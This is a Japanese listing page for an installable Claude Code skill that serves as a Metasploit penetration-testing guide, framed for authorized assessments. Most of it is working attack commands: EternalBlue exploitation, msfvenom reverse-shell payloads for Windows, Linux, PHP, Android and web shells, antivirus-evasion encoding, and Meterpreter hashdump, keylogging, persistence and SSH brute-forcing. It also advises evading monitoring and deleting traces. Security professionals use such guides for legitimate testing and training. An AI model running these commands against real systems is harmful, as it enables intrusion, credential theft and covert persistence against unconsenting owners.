mcpField
M
metasploit-framework

metasploit-framework

github.com/zebbernセキュリティ4.7k132 回インストール今日更新
リポジトリ

metasploit-framework について

Metasploit Frameworkを使った許可済みのペネトレーションテスト向けガイドです。MSFConsoleとMeterpreterによるエクスプロイト、ペイロード、スキャン、侵入後の操作を扱います。

主な機能

  1. 01エクスプロイトとペイロードの手順
  2. 02モジュールの検索と設定
  3. 03補助モジュールによる偵察スキャン
  4. 04Meterpreterセッションの操作
  5. 05スタンドアロンペイロードの生成

活用シーン

  1. 01許可された脆弱性評価の準備
  2. 02補助モジュールでの対象スキャン
  3. 03範囲を定めたテスト用ペイロードの生成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/zebbern/claude-code-guide --skill metasploit-framework

インストール後、Claude Code で/metasploit-frameworkを入力して読み込まれたか確認します。

詳細

Metasploit Framework

目的

Metasploit Framework を活用して、初期の侵入から侵入後の活動まで、包括的なペネトレーションテストを実施します。Metasploit は、認可されたセキュリティ評価において、脆弱性の悪用、ペイロードの生成、補助スキャン、侵害されたシステムへのアクセス維持を行うための統合プラットフォームを提供します。

前提条件

必要なツール
# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init
必要な知識
  • ネットワークとシステムの基礎
  • 脆弱性とエクスプロイトの理解
  • プログラミングの基本概念
  • ターゲットの列挙技術
必要なアクセス権
  • テストに対する書面による認可
  • ターゲットシステムへのネットワークアクセス
  • スコープと交戦規則の理解

出力と成果物

  1. エクスプロイトの証拠 - 侵害に成功した際のスクリーンショットとログ
  2. セッションログ - コマンド履歴と抽出されたデータ
  3. 脆弱性のマッピング - CVE 参照を含む、悪用された脆弱性
  4. 侵入後の成果物 - 認証情報、ファイル、システム情報

中核となるワークフロー

フェーズ 1: MSFConsole の基礎

Metasploit コンソールを起動して操作します:

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole
フェーズ 2: モジュールの種類

さまざまなモジュールカテゴリを理解します:

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion
フェーズ 3: モジュールの検索

ターゲットに適したモジュールを見つけます:

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
フェーズ 4: エクスプロイトの設定

実行するためにエクスプロイトを設定します:

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run
フェーズ 5: ペイロードの種類

状況に応じて適切なペイロードを選択します:

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp
フェーズ 6: Meterpreter セッション

Meterpreter の侵入後機能を使用します:

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1
フェーズ 7: 補助モジュール

偵察に補助モジュールを使用します:

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run
フェーズ 8: 侵入後モジュール

アクティブなセッションで post モジュールを実行します:

# List sessions
msf6 > sessions -l

# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump

# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute
フェーズ 9: msfvenom によるペイロードの生成

スタンドアロンのペイロードを作成します:

# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders
フェーズ 10: ハンドラーの設定

受信接続を待ち受けるリスナーを設定します:

# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# The -j flag runs as background job
msf6 > jobs -l

# When payload executes on target, session opens
[*] Meterpreter session 1 opened

# Interact with session
msf6 > sessions -i 1

クイックリファレンス

MSFConsole の主要コマンド
コマンド説明
search [term]モジュールを検索
use [module]モジュールを選択
infoモジュールの情報を表示
show options設定可能なオプションを表示
set [OPT] [val]オプションの値を設定
setg [OPT] [val]グローバルオプションを設定
run / exploitモジュールを実行
checkターゲットの脆弱性を検証
backモジュールの選択を解除
sessions -lアクティブなセッションを一覧表示
sessions -i [N]セッションと対話
jobs -lバックグラウンドジョブを一覧表示
db_nmapデータベースと連携して nmap を実行
Meterpreter の主要コマンド
コマンド説明
sysinfoシステム情報
getuid現在のユーザー
getsystem権限昇格を試行
hashdumpパスワードハッシュをダンプ
shellシステムシェルに切り替え
upload/downloadファイル転送
screenshot画面をキャプチャ
keyscan_startキーロガーを開始
migrate [PID]別のプロセスに移行
backgroundセッションをバックグラウンドへ移動
portfwdポートフォワーディング
よく使われるエクスプロイトモジュール
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

制約と制限事項

法的要件
  • 所有している、または書面による テスト認可を得ているシステムでのみ使用してください
  • すべてのテスト活動を文書化してください
  • 交戦規則に従ってください
  • すべての発見事項を適切な関係者に報告してください
技術的な制限事項
  • 最新の AV/EDR は Metasploit のペイロードを検知する場合があります
  • 一部のエクスプロイトは特定のターゲット構成を必要とします
  • ファイアウォールのルールによってリバース接続がブロックされる場合があります
  • すべてのエクスプロイトがすべてのターゲットバージョンで動作するわけではありません
運用上のセキュリティ
  • 可能な場合は暗号化されたチャネル(reverse_https)を使用してください
  • テスト後に痕跡を削除してください
  • 監視システムによる検知を回避してください
  • 侵入後の活動は合意されたスコープに限定してください

トラブルシューティング

問題解決策
データベースに接続されていないsudo msfdb init を実行し、PostgreSQL を起動してから db_connect を実行する
エクスプロイトが失敗する/セッションがないcheck を実行する。ペイロードのアーキテクチャを確認する。ファイアウォールを確認する。別のペイロードを試す
セッションがすぐに切断される安定したプロセスに移行する。ステージレスペイロードを使用する。AV を確認する。AutoRunScript を使用する
ペイロードが AV に検出されるエンコーディング -e x86/shikata_ga_nai -i 10 を使用する。回避モジュールを使用する。カスタムテンプレートを使用する

コメント